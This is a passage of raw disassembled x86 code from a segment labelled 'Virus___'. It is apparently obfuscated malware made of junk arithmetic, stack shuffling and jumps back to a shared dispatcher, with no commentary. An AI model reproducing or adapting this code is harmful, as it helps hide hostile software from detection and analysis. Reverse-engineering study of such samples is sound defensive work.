		jmp	loc_577146
; ---------------------------------------------------------------------------


loc_574EE9:				; CODE XREF: Virus___:005772ABj
		add	ecx, 15A53F83h
		sub	ecx, 658446FAh
		jmp	loc_576D8E
; ---------------------------------------------------------------------------


loc_574EFA:				; CODE XREF: Virus___:0057C75Aj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5760D4
; ---------------------------------------------------------------------------


loc_574F07:				; CODE XREF: Virus___:0057EFE0j
		dec	edi
		jmp	loc_57B721
; ---------------------------------------------------------------------------


loc_574F0D:				; CODE XREF: Virus___:00573DAAj
		add	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_57364D
; ---------------------------------------------------------------------------


loc_574F1A:				; CODE XREF: Virus___:0057A8BDj
		mov	dh, bl
		mov	ebx, [esp]
		jmp	loc_572EB8
; ---------------------------------------------------------------------------


loc_574F24:				; CODE XREF: Virus___:0057F028j
		pop	ebx
		mov	ecx, edi
		pop	edi
		push	edx
		mov	edx, 23CE404Fh
		add	ebx, edx
		pop	edx
		sub	ebx, ecx
		sub	ebx, 23CE404Fh
		mov	ecx, [esp]
		add	esp, 4
		push	77B9h
		mov	[esp], edi
		mov	edi, 35CA399Dh
		add	eax, 7456E8Ch
		jmp	loc_57EC24
; ---------------------------------------------------------------------------


loc_574F56:				; CODE XREF: Virus___:00577D73j
		mov	esi, 23D63241h
		add	ebp, esi
		pop	esi
		add	ebp, edi
		push	esi
		jmp	loc_57826C
; ---------------------------------------------------------------------------


loc_574F66:				; CODE XREF: Virus___:005791B2j
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_579A55
; ---------------------------------------------------------------------------


loc_574F70:				; CODE XREF: Virus___:00575ED9j
		add	edx, eax
		sub	edx, 367407FBh
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		sub	edx, 59305C79h
		jmp	loc_577139
; ---------------------------------------------------------------------------


loc_574F8F:				; CODE XREF: Virus___:0057921Aj
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 6D087BFEh
		jmp	loc_574FC1
; ---------------------------------------------------------------------------


loc_574FA5:				; CODE XREF: Virus___:0057B5C4j
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57EC40
; ---------------------------------------------------------------------------


loc_574FB0:				; CODE XREF: Virus___:00577BDDj
		or	ebx, 3889589Bh
		xor	ebx, 38C96D9Bh
		jmp	loc_57C4E4
; ---------------------------------------------------------------------------


loc_574FC1:				; CODE XREF: Virus___:00574FA0j
		and	ebp, 1A0F7E50h
		xor	ebp, 65E97362h
		jmp	loc_57ED01
; ---------------------------------------------------------------------------


loc_574FD2:				; CODE XREF: Virus___:0057A4E5j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57C5D1
; ---------------------------------------------------------------------------


loc_574FE1:				; CODE XREF: Virus___:0057A967j
		push	ebx
		push	small 42C7h
		pop	bx
		jmp	loc_57579B
; ---------------------------------------------------------------------------


loc_574FED:				; CODE XREF: Virus___:0057A167j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 779A6FB0h
		push	small word ptr [eax]
		jmp	loc_578A22
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_572EA1
; ---------------------------------------------------------------------------


loc_57500E:				; CODE XREF: Virus___:0057B018j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		mov	ecx, 13FD5403h
		jmp	loc_575A57
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_579FC0
; ---------------------------------------------------------------------------


loc_57502F:				; CODE XREF: Virus___:00573AFDj
		sub	eax, 4246645Ah
		jmp	loc_57E8E2
; ---------------------------------------------------------------------------


loc_575039:				; CODE XREF: Virus___:0057A06Aj
		push	ebx
		mov	ebx, 408E4FF0h
		shl	ebx, 8
		xor	ebx, 71B37AC7h
		push	edx
		jmp	loc_574B11
; ---------------------------------------------------------------------------


loc_57504E:				; CODE XREF: Virus___:0057D492j
		add	edi, ecx
		push	edx
		mov	edx, 7A330C85h
		push	esi
		jmp	loc_57E550
; ---------------------------------------------------------------------------


loc_57505C:				; CODE XREF: Virus___:0057BCCBj
		xor	ecx, [esp]
		pop	esp
		movzx	cx, al
		push	small 0CA9h
		mov	[esp], cx
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_575071:				; CODE XREF: Virus___:0057B3A6j
		push	298Fh
		jmp	loc_579404
; ---------------------------------------------------------------------------


loc_57507B:				; CODE XREF: Virus___:0057EE6Aj
		pop	edx
		jmp	loc_57E40E
; ---------------------------------------------------------------------------


loc_575081:				; CODE XREF: Virus___:0057C5CCj
		xor	ebp, [esp]
		xor	[esp], ebp
		push	ebp
		xchg	ecx, [esp]
		jmp	loc_57E4D2
; ---------------------------------------------------------------------------


loc_575090:				; CODE XREF: Virus___:0057EBBAj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_57CACA
; ---------------------------------------------------------------------------


loc_57509C:				; CODE XREF: Virus___:0057986Aj
		dec	edi
		xor	edi, 3F1F24BCh
		push	ebx
		mov	ebx, 9D8E85F3h
		add	edi, ebx
		pop	ebx
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	ebp
		jmp	loc_57BAC1
; ---------------------------------------------------------------------------


loc_5750C3:				; CODE XREF: Virus___:00575320j
		shl	ebp, 5
		jmp	loc_5791E5
; ---------------------------------------------------------------------------


loc_5750CB:				; CODE XREF: Virus___:0057C5FDj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		jmp	loc_57C88E
; ---------------------------------------------------------------------------


loc_5750DE:				; CODE XREF: Virus___:0057EE5Cj
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_5779DA
; ---------------------------------------------------------------------------


loc_5750EE:				; CODE XREF: Virus___:0057DEF0j
		add	edi, 2
		push	5C18h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_576802
; ---------------------------------------------------------------------------


loc_57510C:				; CODE XREF: Virus___:005794B4j
		mov	[esp], ebx
		mov	bl, 0BFh
		mov	ah, 86h
		sub	ah, bl
		pop	ebx
		push	ecx
		jmp	loc_573460
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edx
		push	6117h
		mov	[esp], ecx
		mov	ecx, esp
		push	2BB8h
		mov	[esp], eax
		mov	eax, 700D4A92h
		shr	eax, 6
		and	eax, 3B294B99h
		push	ebp
		mov	ebp, 48DB6874h
		add	eax, ebp
		pop	ebp
		jmp	loc_57703E
; ---------------------------------------------------------------------------


loc_57514D:				; CODE XREF: Virus___:00577608j
		pop	edx
		sub	esi, 2EC17132h
		push	ebx
		mov	ebx, 20C33484h
		add	ebx, 38AB1108h
		push	ecx
		mov	ecx, 0C6D3325h
		or	ecx, 2AEB2A09h
		jmp	loc_574E67
; ---------------------------------------------------------------------------


loc_575171:				; CODE XREF: Virus___:00576EECj
		add	esp, 4
		sub	ebx, 4E0A29FCh
		add	ebx, eax
		add	ebx, 4E0A29FCh
		push	4E17h
		mov	[esp], edx
		mov	edx, 3EBD0F40h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 58D5980h
		neg	ebp
		jmp	loc_57D26A
; ---------------------------------------------------------------------------


loc_5751A4:				; CODE XREF: Virus___:0057CF90j
		sub	eax, 1
		push	ebp
		mov	ebp, 3E515520h
		add	eax, ebp
		pop	ebp
		jmp	loc_5785D5
; ---------------------------------------------------------------------------


loc_5751B5:				; CODE XREF: Virus___:0057BFCFj
		pop	ecx
		shr	edx, 5
		not	edx
		dec	edx
		push	eax
		jmp	loc_573A99
; ---------------------------------------------------------------------------


loc_5751C2:				; CODE XREF: Virus___:0057EB2Ej
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_57D4DF
; ---------------------------------------------------------------------------


loc_5751CF:				; CODE XREF: Virus___:005754D8j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 76C18848h
		jmp	loc_572D1C
; ---------------------------------------------------------------------------


loc_5751E0:				; CODE XREF: Virus___:00572E4Bj
		xor	ebp, ebx
		jmp	loc_57481C
; ---------------------------------------------------------------------------


loc_5751E7:				; CODE XREF: Virus___:0057CB75j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57C1CF
; ---------------------------------------------------------------------------


loc_5751FE:				; CODE XREF: Virus___:0057415Fj
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 2Bh
		jmp	loc_5737CC
; ---------------------------------------------------------------------------


loc_575219:				; CODE XREF: Virus___:00577234j
		and	ebx, 0C8E6482h
		add	ebx, 46DC7683h
		add	ebx, 0B91544FFh
		mov	esi, ebx
		pop	ebx
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_579ACF
; ---------------------------------------------------------------------------


loc_575239:				; CODE XREF: Virus___:00575A01j
		xor	edi, 2F86076Bh
		sub	edi, 721FC7Bh
		jmp	loc_579209
; ---------------------------------------------------------------------------


loc_57524A:				; CODE XREF: Virus___:00576AC9j
		mov	esi, esp
		push	edi
		jmp	loc_573C8D
; ---------------------------------------------------------------------------


loc_575252:				; CODE XREF: Virus___:005733E9j
		add	edx, 0FE39FA4Dh
		push	esi
		mov	esi, 0A1A55A4h
		sub	esi, 7E47405Eh
		add	esi, 0D69F37D4h
		add	edi, esi
		pop	esi
		add	edi, edx
		push	edx
		mov	edx, 62724D1Ah
		sub	edi, edx
		jmp	loc_57DEEE
; ---------------------------------------------------------------------------


loc_57527C:				; CODE XREF: Virus___:0057597Bj
		pop	eax
		add	bl, al
		jmp	loc_5757EB
; ---------------------------------------------------------------------------


loc_575284:				; CODE XREF: Virus___:0057A5DFj
		push	edx
		mov	edx, 0
		jmp	loc_57B885
; ---------------------------------------------------------------------------


loc_57528F:				; CODE XREF: Virus___:0057321Ej
		pop	eax
		xchg	eax, edx
		shl	edx, 5
		and	edx, 1415024Bh
		jmp	loc_57AE0E
; ---------------------------------------------------------------------------


loc_57529F:				; CODE XREF: Virus___:0057B64Dj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0ECh
		mov	bl, ah
		jmp	loc_57A8B6
; ---------------------------------------------------------------------------


loc_5752B1:				; CODE XREF: Virus___:0057A957j
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_573584
; ---------------------------------------------------------------------------


loc_5752C1:				; CODE XREF: Virus___:0057D215j
		xor	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		not	esi
		xchg	esi, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_5774FC
; ---------------------------------------------------------------------------


loc_5752DF:				; CODE XREF: Virus___:00573EA5j
		sub	eax, 4A0438D7h
		sub	eax, 16230D23h
		mov	esi, [esp]
		jmp	loc_572D86
; ---------------------------------------------------------------------------


loc_5752F1:				; CODE XREF: Virus___:0057CF7Ej
		xchg	ebp, ebx
		add	ebx, 0A7C0687Ah
		xor	eax, ebx
		jmp	loc_5780A2
; ---------------------------------------------------------------------------


loc_575300:				; CODE XREF: Virus___:0057A063j
		add	ebx, 4
		push	7823h
		mov	[esp], ebp
		jmp	loc_57C9BF
; ---------------------------------------------------------------------------


loc_575313:				; CODE XREF: Virus___:0057D666j
		add	esi, 0FFFFFFFFh
		push	eax
		jmp	loc_57B6F9
; ---------------------------------------------------------------------------


loc_57531F:				; CODE XREF: Virus___:00578DB7j
		dec	ebp
		jmp	loc_5750C3
; ---------------------------------------------------------------------------


loc_575325:				; CODE XREF: Virus___:0057D18Cj
		or	bl, 93h
		sub	bl, 8Ah
		xor	dl, bl
		pop	ebx
		push	ebx
		mov	bl, 4Bh
		push	ecx
		mov	ch, 6Ah
		xor	bl, ch
		pop	ecx
		add	al, 0A2h
		add	al, bl
		sub	al, 0A2h
		pop	ebx
		sub	al, dl
		sub	al, 21h
		jmp	loc_5738A6
; ---------------------------------------------------------------------------


loc_575347:				; CODE XREF: Virus___:00577C9Ej
		pop	edi
		jmp	loc_57C0D9
; ---------------------------------------------------------------------------


loc_57534D:				; CODE XREF: Virus___:0057CAF3j
		push	18C3h
		mov	[esp], ebp
		mov	ebp, 532BF31Fh
		push	ecx
		mov	ecx, 7F795377h
		push	ebp
		jmp	loc_57C569
; ---------------------------------------------------------------------------


loc_575366:				; CODE XREF: Virus___:00578707j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_57344D
; ---------------------------------------------------------------------------


loc_57537C:				; CODE XREF: Virus___:0057AFB1j
		add	[esp], al
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_575385:				; CODE XREF: Virus___:005796D2j
		mov	ebx, 0E5E1B38h
		and	ebx, 64006509h
		or	ebx, 4E011312h
		jmp	loc_578DF9
; ---------------------------------------------------------------------------


loc_57539B:				; CODE XREF: Virus___:0057426Ej
		inc	esi
		shl	esi, 1
		sub	esi, 9F996044h
		xor	ecx, esi
		pop	esi
		mov	ebp, ecx
		jmp	loc_57D0F9
; ---------------------------------------------------------------------------


loc_5753AE:				; CODE XREF: Virus___:0057E79Dj
		xor	esi, 51A839AFh
		xor	esi, 217238F7h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esi
		push	edx
		pop	ecx
		jmp	loc_573DA8
; ---------------------------------------------------------------------------


loc_5753CC:				; CODE XREF: Virus___:0057D8D2j
		push	eax
		push	esi
		mov	esi, 5D81A25h
		jmp	loc_577C30
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_572E83
; ---------------------------------------------------------------------------


loc_5753E3:				; CODE XREF: Virus___:005735E3j
		mov	di, 1F8Dh
		xor	di, 52B8h
		xor	dx, di
		pop	edi
		jmp	loc_57A6A0
; ---------------------------------------------------------------------------


loc_5753F5:				; CODE XREF: Virus___:0057B59Dj
		push	dword ptr [esp]
		pop	eax
		push	903h
		mov	[esp], edx
		jmp	loc_579FB9
; ---------------------------------------------------------------------------


loc_575406:				; CODE XREF: Virus___:00577EC6j
		mov	ebx, edi
		mov	eax, ebx
		jmp	loc_57ED29
; ---------------------------------------------------------------------------


loc_57540F:				; CODE XREF: Virus___:0057E5C0j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_57C9AD
; ---------------------------------------------------------------------------


loc_57542F:				; CODE XREF: Virus___:0057D0C8j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_575443:				; CODE XREF: Virus___:0057AF2Cj
		push	dword ptr [esp]
		jmp	loc_57A06F
; ---------------------------------------------------------------------------


loc_57544B:				; CODE XREF: Virus___:00578065j
		and	dl, bh
		jmp	loc_5788AB
; ---------------------------------------------------------------------------


loc_575452:				; CODE XREF: Virus___:00573224j
		push	esp
		pop	ebx
		jmp	loc_57B69C
; ---------------------------------------------------------------------------


loc_575459:				; CODE XREF: Virus___:0057ACCFj
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57D887
; ---------------------------------------------------------------------------


loc_575475:				; CODE XREF: Virus___:00572EB9j
		mov	esi, esp
		jmp	loc_5796F4
; ---------------------------------------------------------------------------


loc_57547C:				; CODE XREF: Virus___:00576B4Cj
		xor	dl, ch
		pop	ecx
		not	dl
		jmp	loc_57894A
; ---------------------------------------------------------------------------


loc_575486:				; CODE XREF: Virus___:00576F0Ej
		pop	edx
		sub	esp, 4
		jmp	loc_57676A
; ---------------------------------------------------------------------------


loc_575492:				; CODE XREF: Virus___:0057328Dj
		add	edx, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_578457
; ---------------------------------------------------------------------------


loc_5754C4:				; CODE XREF: Virus___:0057E05Bj
		pop	esi
		push	eax
		mov	eax, 4
		jmp	loc_57EE25
; ---------------------------------------------------------------------------


loc_5754D0:				; CODE XREF: Virus___:00574739j
		mov	edi, 4
		sub	edx, edi
		pop	edi
		jmp	loc_5751CF
; ---------------------------------------------------------------------------


loc_5754DD:				; CODE XREF: Virus___:00579CDAj
		mov	[esp], ebp
		push	ecx
		push	2A5B57FBh
		pop	ecx
		or	ecx, 33F5314Ch
		xor	ecx, 339014A9h
		push	0
		sub	[esp], ecx
		jmp	loc_57612D
; ---------------------------------------------------------------------------


loc_575500:				; CODE XREF: Virus___:0057D5D6j
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_57944C
; ---------------------------------------------------------------------------


loc_575516:				; CODE XREF: Virus___:00579E64j
		push	ebx
		jmp	loc_57803D
; ---------------------------------------------------------------------------


loc_57551C:				; CODE XREF: Virus___:0057BB86j
		push	70ECh
		mov	[esp], edx
		mov	edx, 4A99575Fh
		push	edi
		jmp	loc_57DF0E
; ---------------------------------------------------------------------------


loc_57552F:				; CODE XREF: Virus___:00575FF8j
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_57765A
; ---------------------------------------------------------------------------


loc_57553D:				; CODE XREF: Virus___:00574D20j
		mov	bl, 2Ah
		xor	bl, 5Fh
		xor	bl, 66h
		sub	bl, 8
		xor	bl, 0Ah
		jmp	loc_5795FE
; ---------------------------------------------------------------------------


loc_575550:				; CODE XREF: Virus___:0057DF9Dj
		sub	ebx, 3917574Ch
		jmp	loc_57CDA2
; ---------------------------------------------------------------------------


loc_57555B:				; CODE XREF: Virus___:0057E2A2j
		xchg	eax, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	eax
		push	1C3Ah
		mov	[esp], edi
		jmp	loc_573387
; ---------------------------------------------------------------------------


loc_575573:				; CODE XREF: Virus___:005763D6j
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_57C840
; ---------------------------------------------------------------------------


loc_57558B:				; CODE XREF: Virus___:00573354j
		sub	esi, 1C256175h
		sub	esi, edi
		add	esi, 1C256175h
		mov	edi, [esp]
		add	esp, 4
		and	[edi+1Ch], esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		jmp	loc_576C90
; ---------------------------------------------------------------------------


loc_5755B1:				; CODE XREF: Virus___:00575F08j
		pop	esi
		push	ecx
		push	edi
		mov	edi, 25496BBFh
		sub	edi, 982E6E47h
		mov	ecx, edi
		jmp	loc_575F87
; ---------------------------------------------------------------------------


loc_5755C6:				; CODE XREF: Virus___:0057A1CEj
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_572B68
; ---------------------------------------------------------------------------


loc_5755DC:				; CODE XREF: Virus___:00575A59j
		dec	ecx
		shr	ecx, 6
		sub	ecx, 3B00AABh
		jmp	loc_579E61
; ---------------------------------------------------------------------------


loc_5755EB:				; CODE XREF: Virus___:00573963j
		btc	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 279D6855h
		jmp	loc_576AE6
; ---------------------------------------------------------------------------


loc_575608:				; CODE XREF: Virus___:0057EF66j
		shr	ebx, 8
		sub	ebx, 0E45F3161h
		sub	eax, ebx
		pop	ebx
		push	dword ptr [eax]
		push	ebp
		mov	ebp, 1E30365Eh
		xor	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 1E30365Eh
		pop	eax
		jmp	loc_57D4B4
; ---------------------------------------------------------------------------


loc_575633:				; CODE XREF: Virus___:0057DEC8j
		pop	dx
		add	al, bh
		jmp	loc_57A7BD
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_57EA71
; ---------------------------------------------------------------------------
		dd 23CCE981h, 0C1814BDAh, 6D8769E5h, 0FFF504E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575665:				; CODE XREF: Virus___:0057DDE1j
		xor	edx, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_575674:				; CODE XREF: Virus___:0057E3B9j
		mov	eax, ebx
		pop	ebx
		add	eax, 0D8F3CC07h
		jmp	loc_57DD8E
; ---------------------------------------------------------------------------


loc_575681:				; CODE XREF: Virus___:005763BEj
		push	0E81h
		mov	[esp], eax
		mov	eax, esp
		push	esi
		jmp	loc_572AF1
; ---------------------------------------------------------------------------


loc_575691:				; CODE XREF: Virus___:0057BB77j
		pop	ecx
		jmp	loc_576146
; ---------------------------------------------------------------------------


loc_575697:				; CODE XREF: Virus___:0057BCE2j
		mov	[esp], ebp
		push	5D98h
		mov	[esp], esi
		push	6F947B33h
		pop	esi
		add	esi, 8D10942h
		and	esi, 7BA64B9Fh
		jmp	loc_57C025
; ---------------------------------------------------------------------------


loc_5756B9:				; CODE XREF: Virus___:00576AD4j
		not	ebx
		and	ebx, 704F6E5Bh
		neg	ebx
		xor	ebx, 79033B22h
		xor	ebx, 0D700CECFh
		xor	esi, ebx
		pop	ebx
		sub	esi, 5D0772E1h
		add	esi, 0DF3D019Dh
		add	ebx, esi
		pop	esi
		push	5C56h
		mov	[esp], eax
		mov	eax, 2CA1276Ah
		push	eax
		not	dword ptr [esp]
		jmp	loc_57D413
; ---------------------------------------------------------------------------


loc_5756F7:				; CODE XREF: Virus___:00572DD9j
		push	68FCh
		jmp	loc_573B02
; ---------------------------------------------------------------------------


loc_575701:				; CODE XREF: Virus___:0057DDF1j
		not	ebx
		or	ebx, 7AAB786Ah
		push	esi
		mov	esi, 2B991D75h
		and	esi, 21E729F3h
		jmp	loc_572CB3
; ---------------------------------------------------------------------------


loc_57571A:				; CODE XREF: Virus___:00575DEFj
		push	eax
		push	ecx
		mov	ecx, 0BA4309Fh
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	0BA4311Fh
		pop	esi
		jmp	loc_57460F
; ---------------------------------------------------------------------------


loc_575737:				; CODE XREF: Virus___:0057B19Fj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57D585
; ---------------------------------------------------------------------------


loc_575742:				; CODE XREF: Virus___:0057CD9Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_577F21
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_576D1B
; ---------------------------------------------------------------------------


loc_575763:				; CODE XREF: Virus___:0057325Fj
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	7C32h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_575CFB
; ---------------------------------------------------------------------------


loc_575782:				; CODE XREF: Virus___:00577F4Aj
		pop	edx
		sub	al, cl
		pop	ecx
		push	0DDFh
		mov	[esp], ecx
		push	2F69h
		mov	[esp], eax
		jmp	loc_576CC4
; ---------------------------------------------------------------------------


loc_57579B:				; CODE XREF: Virus___:00574FE8j
		xor	bx, 1C5Bh
		neg	bx
		or	bx, 7072h
		and	bx, 48D8h
		xor	bx, 37B3h
		xor	bx, 6C6Ah
		add	ax, bx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57E4BC
; ---------------------------------------------------------------------------


loc_5757CF:				; CODE XREF: Virus___:0057E367j
		pop	edx
		xchg	eax, [esp]
		jmp	loc_577CA3
; ---------------------------------------------------------------------------


loc_5757D8:				; CODE XREF: Virus___:0057403Bj
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	esi, [esp]
		jmp	loc_57752E
; ---------------------------------------------------------------------------


loc_5757EB:				; CODE XREF: Virus___:0057527Fj
		push	edx
		mov	dh, 0DCh
		jmp	loc_57E5B6
; ---------------------------------------------------------------------------


loc_5757F3:				; CODE XREF: Virus___:0057E099j
		push	edi
		jmp	loc_57D060
; ---------------------------------------------------------------------------


loc_5757F9:				; CODE XREF: Virus___:0057D0ECj
		mov	edx, esi
		pop	esi
		add	edx, edi
		jmp	loc_57E313
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	cl, al
		push	eax
		mov	ah, cl
		mov	bl, ah
		pop	eax
		pop	ecx
		mov	al, [esp+4]
		jmp	loc_578C86
; ---------------------------------------------------------------------------


loc_575817:				; CODE XREF: Virus___:0057A707j
		and	ecx, edx
		pop	edx
		inc	ecx
		and	ecx, 6D316024h
		jmp	loc_572E3F
; ---------------------------------------------------------------------------


loc_575826:				; CODE XREF: Virus___:00579A86j
		push	5BCDh
		jmp	loc_572FB1
; ---------------------------------------------------------------------------


loc_575830:				; CODE XREF: Virus___:0057BCDAj
		add	bl, cl
		pop	cx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	6673h
		mov	[esp], eax
		jmp	loc_57DDF6
; ---------------------------------------------------------------------------


loc_575847:				; CODE XREF: Virus___:0057E6F4j
		xchg	edi, [esp]
		jmp	loc_57D598
; ---------------------------------------------------------------------------


loc_57584F:				; CODE XREF: Virus___:0057385Bj
		add	esp, 4
		add	esp, 4
		jmp	loc_57B9D0
; ---------------------------------------------------------------------------


loc_57585A:				; CODE XREF: Virus___:00576F2Dj
		sub	ecx, 1
		sub	ecx, 1A6129B2h
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_57E578
; ---------------------------------------------------------------------------


loc_57586D:				; CODE XREF: Virus___:00578FF2j
		pop	edi
		sub	eax, 38A83292h
		or	eax, 4F542F7Dh
		inc	eax
		and	eax, 19400FEAh
		jmp	loc_57B652
; ---------------------------------------------------------------------------


loc_575883:				; CODE XREF: Virus___:0057DD39j
		add	ebx, edx
		pop	edx
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		push	ecx
		jmp	loc_573BA1
; ---------------------------------------------------------------------------


loc_575895:				; CODE XREF: Virus___:00573EEFj
		add	edi, 4
		push	ebp
		jmp	loc_57886C
; ---------------------------------------------------------------------------


loc_5758A1:				; CODE XREF: Virus___:00575EC7j
		or	eax, eax
		jz	loc_57E94C
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_577A92
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	166Dh
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 6C713D65h
		jmp	loc_576ACE
; ---------------------------------------------------------------------------


loc_5758DC:				; CODE XREF: Virus___:0057AD7Fj
		pop	ecx
		mov	edx, 67240C11h
		sub	edx, 67D24234h
		jmp	loc_573674
; ---------------------------------------------------------------------------


loc_5758ED:				; CODE XREF: Virus___:0057815Ej
		push	eax
		mov	eax, 69806D3Fh
		xor	eax, 69D46C72h
		jmp	loc_573A4B
; ---------------------------------------------------------------------------


loc_5758FD:				; CODE XREF: Virus___:00574950j
		push	edx
		mov	dh, 94h
		jmp	loc_57ED7C
; ---------------------------------------------------------------------------


loc_575905:				; CODE XREF: Virus___:00577BE9j
		pop	ebx
		add	edi, eax
		pop	eax
		push	544Dh
		jmp	loc_574640
; ---------------------------------------------------------------------------


loc_575913:				; CODE XREF: Virus___:00577CC5j
		add	ebx, eax
		sub	ebx, 28D16A66h
		pop	eax
		jmp	loc_579F26
; ---------------------------------------------------------------------------


loc_575921:				; CODE XREF: Virus___:0057BFB3j
		inc	dword ptr [esp]
		pop	edx
		sub	edx, 190BAB74h
		push	edi
		mov	edi, edx
		mov	ebx, edi
		pop	edi
		pop	edx
		sub	dword ptr [esp+4], 463C38FDh
		add	[esp+4], ebx
		add	dword ptr [esp+4], 463C38FDh
		pop	ebx
		pop	eax
		jmp	loc_57779C
; ---------------------------------------------------------------------------


loc_57594D:				; CODE XREF: Virus___:00579C65j
		sub	dl, 0F1h
		jmp	loc_574D56
; ---------------------------------------------------------------------------


loc_575955:				; CODE XREF: Virus___:00579704j
		mov	[esp], esi
		jmp	loc_57CC80
; ---------------------------------------------------------------------------


loc_57595D:				; CODE XREF: Virus___:0057A90Cj
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5773D6
; ---------------------------------------------------------------------------


loc_575971:				; CODE XREF: Virus___:0057A14Fj
		or	ebp, ebx
		jmp	loc_57BB5A
; ---------------------------------------------------------------------------


loc_575978:				; CODE XREF: Virus___:005732EBj
		sub	bl, 0Eh
